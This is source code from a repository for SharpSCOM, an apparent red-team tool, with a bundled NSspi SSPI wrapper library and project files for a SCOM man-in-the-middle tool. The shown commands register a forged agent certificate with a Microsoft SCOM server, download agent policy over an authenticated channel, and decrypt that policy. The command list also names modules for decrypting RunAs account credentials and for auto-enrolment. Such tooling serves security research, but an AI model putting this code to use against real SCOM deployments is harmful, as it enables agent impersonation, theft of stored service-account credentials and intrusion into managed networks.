14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
15 |
--------------------------------------------------------------------------------
/nsspi/NSspi/Credentials/AuthData.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace NSspi.Credentials
5 | {
6 | ///
7 | /// Provides authentication data in native method calls.
8 | ///
9 | ///
10 | /// Implements the 'SEC_WINNT_AUTH_IDENTITY' structure. See:
11 | ///
12 | /// https://msdn.microsoft.com/en-us/library/windows/desktop/aa380131(v=vs.85).aspx
13 | ///
14 | [StructLayout( LayoutKind.Sequential )]
15 | internal struct NativeAuthData
16 | {
17 | public NativeAuthData( string domain, string username, string password, NativeAuthDataFlag flag )
18 | {
19 | this.Domain = domain;
20 | this.DomainLength = domain.Length;
21 |
22 | this.User = username;
23 | this.UserLength = username.Length;
24 |
25 | this.Password = password;
26 | this.PasswordLength = password.Length;
27 |
28 | this.Flags = flag;
29 | }
30 |
31 | [MarshalAs( UnmanagedType.LPWStr )]
32 | public string User;
33 |
34 | public int UserLength;
35 |
36 | [MarshalAs( UnmanagedType.LPWStr )]
37 | public string Domain;
38 |
39 | public int DomainLength;
40 |
41 | [MarshalAs( UnmanagedType.LPWStr )]
42 | public string Password;
43 |
44 | public int PasswordLength;
45 |
46 | public NativeAuthDataFlag Flags;
47 | }
48 |
49 | internal enum NativeAuthDataFlag : int
50 | {
51 | Ansi = 1,
52 |
53 | Unicode = 2
54 | }
55 | }
--------------------------------------------------------------------------------
/SharpSCOM.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.13.35828.75
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSCOM", "SharpSCOM\SharpSCOM.csproj", "{4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NSspi", "nsspi\NSspi\NSspi.csproj", "{CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|Any CPU = Debug|Any CPU
13 | Release|Any CPU = Release|Any CPU
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Release|Any CPU.ActiveCfg = Release|Any CPU
19 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Release|Any CPU.Build.0 = Release|Any CPU
20 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
21 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Debug|Any CPU.Build.0 = Debug|Any CPU
22 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Release|Any CPU.ActiveCfg = Release|Any CPU
23 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Release|Any CPU.Build.0 = Release|Any CPU
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {255F568B-6C9E-4F9E-8B5E-919ED0994621}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SharpSCOM/SharpSCOM.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.13.35828.75
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSCOM", "SharpSCOM\SharpSCOM.csproj", "{4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NSspi", "nsspi\NSspi\NSspi.csproj", "{CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|Any CPU = Debug|Any CPU
13 | Release|Any CPU = Release|Any CPU
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Release|Any CPU.ActiveCfg = Release|Any CPU
19 | {4DEF17F6-D348-4A1C-8B36-8CFEC6FA2449}.Release|Any CPU.Build.0 = Release|Any CPU
20 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
21 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Debug|Any CPU.Build.0 = Debug|Any CPU
22 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Release|Any CPU.ActiveCfg = Release|Any CPU
23 | {CE4EEAAC-BE2E-556F-4F32-F2FE552817CF}.Release|Any CPU.Build.0 = Release|Any CPU
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {255F568B-6C9E-4F9E-8B5E-919ED0994621}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SharpSCOM/Commands/RegisterCertificate.cs:
--------------------------------------------------------------------------------
1 | using SharpSCOM.Agent;
2 | using SharpSCOM.Cmdline;
3 | using SharpSCOM.Common;
4 | using SharpSCOM.Auth;
5 | using SharpSCOM.Certificate;
6 | using System.Runtime.ConstrainedExecution;
7 | using System;
8 |
9 | namespace SharpSCOM.Commands
10 | {
11 | public class RegisterCertificate : BaseCommand
12 | {
13 | public static string CommandName => "RegisterCertificate";
14 | public override void Execute(Options.Arguments arguments)
15 | {
16 | using (var scomClient = new SSPIMessageGenerator(arguments.Server, arguments.Port))
17 | {
18 | // Connect and authenticate
19 | if (!scomClient.Connect())
20 | {
21 | logger.Error("Failed to connect to server");
22 | return;
23 | }
24 |
25 | var single = new MessageGenerator(arguments.Hostname, arguments.ManagementGroup);
26 |
27 | var generator = new AgentCertificateGenerator(arguments.Hostname);
28 | generator.PrintDetails();
29 |
30 | byte[] payload = single.GenerateCertificatePayload(generator.SinglePartSerializedCertificate, 1);
31 | byte[] response = scomClient.SendMessage(payload);
32 |
33 | if (response != null)
34 | {
35 | logger.Info("Agent certificate registration response received");
36 | SSPIMessageParser.ParseAgentRegistrationResponse(response);
37 | }
38 | else
39 | {
40 | logger.Error("No response received from server");
41 | }
42 | }
43 | }
44 | }
45 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/Contexts/ContextQueryAttrib.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace NSspi.Contexts
4 | {
5 | ///
6 | /// Defines the types of queries that can be performed with QueryContextAttribute.
7 | /// Each query has a different result buffer.
8 | ///
9 | internal enum ContextQueryAttrib : int
10 | {
11 | ///
12 | /// Queries the buffer size parameters when performing message functions, such
13 | /// as encryption, decryption, signing and signature validation.
14 | ///
15 | ///
16 | /// Results for a query of this type are stored in a Win32 SecPkgContext_Sizes structure.
17 | ///
18 | Sizes = 0,
19 |
20 | ///
21 | /// Queries the context for the name of the user assocated with a security context.
22 | ///
23 | ///
24 | /// Results for a query of this type are stored in a Win32 SecPkgContext_Name structure.
25 | ///
26 | Names = 1,
27 |
28 | ///
29 | /// Queries the name of the authenticating authority for the security context.
30 | ///
31 | ///
32 | /// Results for a query of this type are stored in a Win32 SecPkgContext_Authority structure.
33 | ///
34 | Authority = 6,
35 |
36 | ///
37 | /// Queries the context for it's neogtiated SessionKey
38 | ///
39 | ///
40 | /// Results for a query of this type are stored in a Win32 SecPkgContext_SessionKey structure
41 | ///
42 | SessionKey = 9,
43 |
44 | AccessToken = 13, //not implemented yet but this would be cool
45 | }
46 | }
--------------------------------------------------------------------------------
/SharpSCOM/Commands/DecryptPolicy.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using SharpSCOM.Cmdline;
4 | using SharpSCOM.Common;
5 | using SharpSCOM.Crypto;
6 |
7 | namespace SharpSCOM.Commands
8 | {
9 | public class DecryptPolicy : BaseCommand
10 | {
11 | public static string CommandName => "DecryptPolicy";
12 |
13 | public override void Execute(Options.Arguments arguments)
14 | {
15 | logger.Info("Attempting to decrypt policy data...");
16 |
17 | byte[] encryptedData = Convert.FromBase64String(arguments.Data);
18 | byte[] decryptedData;
19 |
20 | if (!string.IsNullOrEmpty(arguments.Key))
21 | {
22 | logger.Info("Using private key from XML");
23 | decryptedData = PolicyDecryptor.DecryptBytesWithPrivateKey(
24 | encryptedData,
25 | arguments.Key);
26 | }
27 | else
28 | {
29 | logger.Info("Using certificate from store");
30 | decryptedData = PolicyDecryptor.DecryptBytesWithCertificate(
31 | encryptedData);
32 | }
33 |
34 | if (decryptedData != null)
35 | {
36 | string decryptedText = Encoding.Unicode.GetString(decryptedData);
37 | Console.WriteLine(decryptedText);
38 |
39 | if (!string.IsNullOrEmpty(arguments.Outfile))
40 | {
41 | System.IO.File.WriteAllText(arguments.Outfile, decryptedText);
42 | logger.Info($"Saved to: {arguments.Outfile}");
43 | }
44 | }
45 | else
46 | {
47 | logger.Error("Decryption failed");
48 | }
49 | }
50 | }
51 | }
--------------------------------------------------------------------------------
/SharpSCOM/Common/Constants.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace SharpSCOM.Common
4 | {
5 | public static class Constants
6 | {
7 | // Network
8 | public const int DEFAULT_PORT = 5723;
9 | public const string KERBEROS_SPN = "MSOMHSvc";
10 |
11 | // Certificate
12 | public const string DEFAULT_CERTIFICATE_STORE = "Microsoft Monitoring Agent";
13 | public const string CERTIFICATE_FRIENDLY_NAME = "Microsoft Monitoring Agent - RunAs Account Encryption";
14 | public const string CERTIFICATE_OU = "RunAs Account Encryption";
15 | public const string CERTIFICATE_O = "Microsoft";
16 | public const int CERTIFICATE_VALIDITY_DAYS = 365;
17 | public const int CERTIFICATE_KEY_SIZE = 2048;
18 |
19 | // Protocol
20 | public const int POLICY_HEADER_SIZE = 143;
21 | public const int DPAPI_ENTROPY_SIZE = 0x400;
22 | }
23 |
24 | public static class Protocol
25 | {
26 | // AP_REQ parsing
27 | public const int AP_REQ_HEADER_OFFSET = 296;
28 | public const int AP_REQ_SIZE_OFFSET = 4;
29 |
30 | // AP_REP parsing
31 | public const int AP_REP_HEADER_OFFSET = 16;
32 | public const int AP_REP_SKIP_BYTES = 4;
33 |
34 | // Kerberos Wrap Token
35 | public const int KERB_WRAP_HEADER_SIZE = 68;
36 | public const int KERB_WRAP_SIZE_OFFSET = 4;
37 |
38 | // Decrypted Wrap Token
39 | public const int DEC_WRAP_HEADER_SIZE = 12;
40 | public const int ZLIB_HEADER_SIZE = 2;
41 |
42 | // Encryption Header
43 | public const int EXPECTED_VERSION_1 = 1;
44 | public const int EXPECTED_VERSION_2 = 2;
45 | public const uint EXPECTED_ALGORITHM_ID = 26128U;
46 | public const uint EXPECTED_MAGIC_NUMBER = 41984U;
47 | }
48 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/TimeStamp.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace NSspi
5 | {
6 | ///
7 | /// Represents a Windows API Timestamp structure, which stores time in units of 100 nanosecond
8 | /// ticks, counting from January 1st, year 1601 at 00:00 UTC. Time is stored as a 64-bit value.
9 | ///
10 | [StructLayout( LayoutKind.Sequential )]
11 | public struct TimeStamp
12 | {
13 | ///
14 | /// Returns the calendar date and time corresponding a zero timestamp.
15 | ///
16 | public static readonly DateTime Epoch = new DateTime( 1601, 1, 1, 0, 0, 0, DateTimeKind.Utc );
17 |
18 | ///
19 | /// Stores the time value. Infinite times are often represented as values near, but not exactly
20 | /// at the maximum signed 64-bit 2's complement value.
21 | ///
22 | private long time;
23 |
24 | ///
25 | /// Converts the TimeStamp to an equivalant DateTime object. If the TimeStamp represents
26 | /// a value larger than DateTime.MaxValue, then DateTime.MaxValue is returned.
27 | ///
28 | ///
29 | public DateTime ToDateTime()
30 | {
31 | ulong test = (ulong)this.time + (ulong)( Epoch.Ticks );
32 |
33 | // Sometimes the value returned is massive, eg, 0x7fffff154e84ffff, which is a value
34 | // somewhere in the year 30848. This would overflow DateTime, since it peaks at 31-Dec-9999.
35 | // It turns out that this value corresponds to a TimeStamp's maximum value, reduced by my local timezone
36 | // http://stackoverflow.com/questions/24478056/
37 | if( test > (ulong)DateTime.MaxValue.Ticks )
38 | {
39 | return DateTime.MaxValue;
40 | }
41 | else
42 | {
43 | return DateTime.FromFileTimeUtc( this.time );
44 | }
45 | }
46 | }
47 | }
--------------------------------------------------------------------------------
/SharpSCOM/Commands/DownloadPolicy.cs:
--------------------------------------------------------------------------------
1 | using SharpSCOM.Agent;
2 | using SharpSCOM.Cmdline;
3 | using SharpSCOM.Common;
4 | using SharpSCOM.Auth;
5 | using System;
6 |
7 | namespace SharpSCOM.Commands
8 | {
9 | public class DownloadPolicy : BaseCommand
10 | {
11 | public static string CommandName => "DownloadPolicy";
12 | public override void Execute(Options.Arguments arguments)
13 | {
14 | logger.Info($"Downloading policy...");
15 |
16 | using (var scomClient = new SSPIMessageGenerator(arguments.Server, arguments.Port))
17 | {
18 | // Connect and authenticate
19 | if (!scomClient.Connect())
20 | {
21 | logger.Error("Failed to connect to server");
22 | return;
23 | }
24 |
25 | var single = new MessageGenerator(arguments.Hostname, arguments.ManagementGroup);
26 | byte[] payload = single.GeneratePolicyDownloadPayload(Convert.FromBase64String(arguments.Data), 1);
27 |
28 | byte[] response = scomClient.SendMessage(payload);
29 |
30 | if (response != null)
31 | {
32 | logger.Info("Policy response received");
33 | SSPIMessageParser.ParseAgentRegistrationResponse(response);
34 | }
35 | else
36 | {
37 | logger.Error("No response received from server");
38 | }
39 |
40 | byte[] policy_response = KerberosMessageParser.ParseDecWrapToken(response);
41 |
42 | if (!string.IsNullOrEmpty(arguments.Outfile))
43 | {
44 | DataHandler.WritePolicyToDisk(policy_response, arguments.Outfile);
45 | }
46 | else
47 | {
48 | logger.Info($"Policy received: {policy_response.Length} bytes");
49 | }
50 |
51 | logger.Info("Completed");
52 | }
53 | }
54 | }
55 | }
--------------------------------------------------------------------------------
/SharpSCOM/Compression/Compression.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO.Compression;
4 | using System.IO;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace SharpSCOM.Compression
10 | {
11 | class Compression
12 | {
13 | public static byte[] CompressZlib(byte[] data)
14 | {
15 | // Step 1: Compute Adler-32 checksum of the uncompressed data
16 | uint adler32 = ComputeAdler32(data);
17 |
18 | using (MemoryStream outputStream = new MemoryStream())
19 | {
20 | // Step 2: Write Zlib header
21 | byte cmf = 0x78; // Compression method 8 (Deflate), 32K window
22 | byte flg = 0x9C; // Default compression level, ensures (CMF * 256 + FLG) % 31 == 0
23 | outputStream.WriteByte(cmf);
24 | outputStream.WriteByte(flg);
25 |
26 | // Step 3: Compress the data with Deflate
27 | using (DeflateStream deflateStream = new DeflateStream(outputStream, CompressionMode.Compress, leaveOpen: true))
28 | {
29 | deflateStream.Write(data, 0, data.Length);
30 | }
31 |
32 | // Step 4: Append Adler-32 checksum (big-endian)
33 | byte[] checksumBytes = BitConverter.GetBytes(adler32);
34 | if (BitConverter.IsLittleEndian)
35 | Array.Reverse(checksumBytes); // Convert to big-endian
36 | outputStream.Write(checksumBytes, 0, 4);
37 |
38 | return outputStream.ToArray();
39 | }
40 | }
41 |
42 | private static uint ComputeAdler32(byte[] data)
43 | {
44 | const uint MOD_ADLER = 65521;
45 | uint s1 = 1; // Initial value
46 | uint s2 = 0;
47 |
48 | foreach (byte b in data)
49 | {
50 | s1 = (s1 + b) % MOD_ADLER;
51 | s2 = (s2 + s1) % MOD_ADLER;
52 | }
53 |
54 | return (s2 << 16) | s1;
55 | }
56 | }
57 | }
58 |
59 |
--------------------------------------------------------------------------------
/nsspi/NSspi/SecureBuffer/SecureBufferType.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace NSspi.Buffers
4 | {
5 | ///
6 | /// Describes the type and purpose of a secure buffer passed to the native API.
7 | ///
8 | internal enum BufferType : int
9 | {
10 | ///
11 | /// The buffer is empty.
12 | ///
13 | Empty = 0x00,
14 |
15 | ///
16 | /// The buffer contains message data. Message data can be plaintext or cipher text data.
17 | ///
18 | Data = 0x01,
19 |
20 | ///
21 | /// The buffer contains opaque authentication token data.
22 | ///
23 | Token = 0x02,
24 |
25 | ///
26 | /// The buffer contains parameters specific to the security package.
27 | ///
28 | Parameters = 0x03,
29 |
30 | ///
31 | /// The buffer placeholder indicating that some data is missing.
32 | ///
33 | Missing = 0x04,
34 |
35 | ///
36 | /// The buffer passed to an API call contained more data than was necessary for completing the action,
37 | /// such as the case when a streaming-mode connection that does not preserve message bounders, such as TCP
38 | /// is used as the transport. The extra data is returned back to the caller in a buffer of this type.
39 | ///
40 | Extra = 0x05,
41 |
42 | ///
43 | /// The buffer contains a security data trailer, such as a message signature or marker, or framing data.
44 | ///
45 | Trailer = 0x06,
46 |
47 | ///
48 | /// The buffer contains a security data header, such as a message signature, marker, or framing data.
49 | ///
50 | Header = 0x07,
51 |
52 | Padding = 0x09,
53 | Stream = 0x0A,
54 | ChannelBindings = 0x0E,
55 | TargetHost = 0x10,
56 | ReadOnlyFlag = unchecked((int)0x80000000),
57 | ReadOnlyWithChecksum = 0x10000000
58 | }
59 | }
--------------------------------------------------------------------------------
/SharpSCOM/Cmdline/CommandCollection.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using SharpSCOM.Commands;
4 |
5 | namespace SharpSCOM.Cmdline
6 | {
7 | public class CommandCollection
8 | {
9 | private readonly Dictionary> _availableCommands =
10 | new Dictionary>(StringComparer.OrdinalIgnoreCase);
11 |
12 | public CommandCollection()
13 | {
14 | _availableCommands.Add(RegisterAgent.CommandName, () => new RegisterAgent());
15 | _availableCommands.Add(RegisterCertificate.CommandName, () => new RegisterCertificate());
16 | _availableCommands.Add(RequestPolicy.CommandName, () => new RequestPolicy());
17 | _availableCommands.Add(DownloadPolicy.CommandName, () => new DownloadPolicy());
18 | _availableCommands.Add(DecryptPolicy.CommandName, () => new DecryptPolicy());
19 | _availableCommands.Add(DecryptRunAs.CommandName, () => new DecryptRunAs());
20 | _availableCommands.Add(AutoEnroll.CommandName, () => new AutoEnroll());
21 | }
22 |
23 | public bool ExecuteCommand(string commandName, Cmdline.Options.Arguments arguments)
24 | {
25 | bool commandWasFound;
26 |
27 | if (string.IsNullOrEmpty(commandName) || !_availableCommands.ContainsKey(commandName))
28 | {
29 | commandWasFound = false;
30 | }
31 | else
32 | {
33 | // Create the command object
34 | var command = _availableCommands[commandName].Invoke();
35 |
36 | // and execute it with the arguments from the command line
37 | command.Execute(arguments);
38 |
39 | commandWasFound = true;
40 | }
41 |
42 | return commandWasFound;
43 | }
44 |
45 | public IEnumerable GetAvailableCommands()
46 | {
47 | return _availableCommands.Keys;
48 | }
49 | public bool IsValidCommand(string commandName)
50 | {
51 | return !string.IsNullOrEmpty(commandName) &&
52 | _availableCommands.ContainsKey(commandName);
53 | }
54 | }
55 | }
--------------------------------------------------------------------------------
/nsspi/NSspi/Credentials/CurrentCredential.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.CompilerServices;
3 |
4 | namespace NSspi.Credentials
5 | {
6 | ///
7 | /// Acquires a handle to the credentials of the user associated with the current process.
8 | ///
9 | public class CurrentCredential : Credential
10 | {
11 | ///
12 | /// Initializes a new instance of the CurrentCredential class.
13 | ///
14 | /// The security package to acquire the credential handle
15 | /// from.
16 | /// The manner in which the credentials will be used - Inbound typically
17 | /// represents servers, outbound typically represent clients.
18 | public CurrentCredential( string securityPackage, CredentialUse use ) :
19 | base( securityPackage )
20 | {
21 | Init( use );
22 | }
23 |
24 | private void Init( CredentialUse use )
25 | {
26 | string packageName;
27 | TimeStamp rawExpiry = new TimeStamp();
28 | SecurityStatus status = SecurityStatus.InternalError;
29 |
30 | // -- Package --
31 | // Copy off for the call, since this.SecurityPackage is a property.
32 | packageName = this.SecurityPackage;
33 |
34 | this.Handle = new SafeCredentialHandle();
35 |
36 | // The finally clause is the actual constrained region. The VM pre-allocates any stack space,
37 | // performs any allocations it needs to prepare methods for execution, and postpones any
38 | // instances of the 'uncatchable' exceptions (ThreadAbort, StackOverflow, OutOfMemory).
39 | RuntimeHelpers.PrepareConstrainedRegions();
40 | try { }
41 | finally
42 | {
43 | status = CredentialNativeMethods.AcquireCredentialsHandle(
44 | null,
45 | packageName,
46 | use,
47 | IntPtr.Zero,
48 | IntPtr.Zero,
49 | IntPtr.Zero,
50 | IntPtr.Zero,
51 | ref this.Handle.rawHandle,
52 | ref rawExpiry
53 | );
54 | }
55 |
56 | if( status != SecurityStatus.OK )
57 | {
58 | throw new SSPIException( "Failed to call AcquireCredentialHandle", status );
59 | }
60 |
61 | this.Expiry = rawExpiry.ToDateTime();
62 | }
63 | }
64 | }
--------------------------------------------------------------------------------
/SCOM_MiTM/SCOM_MiTM.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {8E7C0DAB-DAC6-4103-9459-EDEB32B54248}
8 | Exe
9 | SCOM_MiTM
10 | SCOM_MiTM
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 | ..\NSspi\bin\Release\netstandard2.0\NSspi.dll
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
--------------------------------------------------------------------------------
/nsspi/NSspi/SSPIException.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.Serialization;
3 |
4 | namespace NSspi
5 | {
6 | ///
7 | /// The exception that is thrown when a problem occurs hwen using the SSPI system.
8 | ///
9 | [Serializable]
10 | public class SSPIException : Exception
11 | {
12 | private SecurityStatus errorCode;
13 | private string message;
14 |
15 | ///
16 | /// Initializes a new instance of the SSPIException class with the given message and status.
17 | ///
18 | /// A message explaining what part of the system failed.
19 | /// The error code observed during the failure.
20 | public SSPIException( string message, SecurityStatus errorCode )
21 | {
22 | this.message = message;
23 | this.errorCode = errorCode;
24 | }
25 |
26 | ///
27 | /// Initializes a new instance of the SSPIException class from serialization data.
28 | ///
29 | ///
30 | ///
31 | protected SSPIException( SerializationInfo info, StreamingContext context )
32 | : base( info, context )
33 | {
34 | this.message = info.GetString( "message" );
35 | this.errorCode = (SecurityStatus)info.GetUInt32( "errorCode" );
36 | }
37 |
38 | ///
39 | /// Serializes the exception.
40 | ///
41 | ///
42 | ///
43 | public override void GetObjectData( SerializationInfo info, StreamingContext context )
44 | {
45 | base.GetObjectData( info, context );
46 |
47 | info.AddValue( "message", this.message );
48 | info.AddValue( "errorCode", this.errorCode );
49 | }
50 |
51 | ///
52 | /// The error code that was observed during the SSPI call.
53 | ///
54 | public SecurityStatus ErrorCode
55 | {
56 | get
57 | {
58 | return this.errorCode;
59 | }
60 | }
61 |
62 | ///
63 | /// A human-readable message indicating the nature of the exception.
64 | ///
65 | public override string Message
66 | {
67 | get
68 | {
69 | return string.Format(
70 | "{0}. Error Code = '0x{1:X}' - \"{2}\".",
71 | this.message,
72 | this.errorCode,
73 | EnumMgr.ToText( this.errorCode )
74 | );
75 | }
76 | }
77 | }
78 | }
--------------------------------------------------------------------------------
/SCOMClient/SCOMClient.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {49020C38-EE98-4FB2-9E42-DD0F216D8183}
8 | Exe
9 | SCOMClient
10 | SCOMClient
11 | v4.7.2
12 | 512
13 | true
14 | true
15 | true
16 |
17 |
18 | AnyCPU
19 | true
20 | full
21 | false
22 | bin\Debug\
23 | DEBUG;TRACE
24 | prompt
25 | 4
26 |
27 |
28 | AnyCPU
29 | pdbonly
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 |
36 |
37 |
38 | ..\SCOM_MiTM\bin\Release\NSspi.dll
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
--------------------------------------------------------------------------------
/nsspi/NSspi/Credentials/CredentialNativeMethods.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.ConstrainedExecution;
3 | using System.Runtime.InteropServices;
4 |
5 | namespace NSspi.Credentials
6 | {
7 | internal static class CredentialNativeMethods
8 | {
9 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.MayFail )]
10 | [DllImport( "Secur32.dll", EntryPoint = "AcquireCredentialsHandle", CharSet = CharSet.Unicode )]
11 | internal static extern SecurityStatus AcquireCredentialsHandle(
12 | string principleName,
13 | string packageName,
14 | CredentialUse credentialUse,
15 | IntPtr loginId,
16 | IntPtr packageData,
17 | IntPtr getKeyFunc,
18 | IntPtr getKeyData,
19 | ref RawSspiHandle credentialHandle,
20 | ref TimeStamp expiry
21 | );
22 |
23 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.MayFail )]
24 | [DllImport( "Secur32.dll", EntryPoint = "AcquireCredentialsHandle", CharSet = CharSet.Unicode )]
25 | internal static extern SecurityStatus AcquireCredentialsHandle_AuthData(
26 | string principleName,
27 | string packageName,
28 | CredentialUse credentialUse,
29 | IntPtr loginId,
30 | ref NativeAuthData authData,
31 | IntPtr getKeyFunc,
32 | IntPtr getKeyData,
33 | ref RawSspiHandle credentialHandle,
34 | ref TimeStamp expiry
35 | );
36 |
37 |
38 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )]
39 | [DllImport( "Secur32.dll", EntryPoint = "FreeCredentialsHandle", CharSet = CharSet.Unicode )]
40 | internal static extern SecurityStatus FreeCredentialsHandle(
41 | ref RawSspiHandle credentialHandle
42 | );
43 |
44 | ///
45 | /// The overload of the QueryCredentialsAttribute method that is used for querying the name attribute.
46 | /// In this call, it takes a void* to a structure that contains a wide char pointer. The wide character
47 | /// pointer is allocated by the SSPI api, and thus needs to be released by a call to FreeContextBuffer().
48 | ///
49 | ///
50 | ///
51 | ///
52 | ///
53 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )]
54 | [DllImport( "Secur32.dll", EntryPoint = "QueryCredentialsAttributes", CharSet = CharSet.Unicode )]
55 | internal static extern SecurityStatus QueryCredentialsAttribute_Name(
56 | ref RawSspiHandle credentialHandle,
57 | CredentialQueryAttrib attributeName,
58 | ref QueryNameAttribCarrier name
59 | );
60 | }
61 | }
--------------------------------------------------------------------------------
/SharpSCOM/Cmdline/Info.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace SharpSCOM.Cmdline
8 | {
9 | class Info
10 | {
11 | public static void ShowLogo()
12 | {
13 | string logo = @"
14 | █▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
15 | ▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █ ";
16 | Console.WriteLine(logo);
17 | Console.WriteLine("\nAuthor: Matt Johnson (@breakfix) - SpecterOps - v0.0.1\r\n");
18 | }
19 |
20 | public static void ShowUsage()
21 | {
22 | Console.WriteLine("Usage: SharpSCOM [options]\n");
23 | Console.WriteLine("Commands:");
24 | Console.WriteLine(" RegisterAgent Register a new agent with SCOM server");
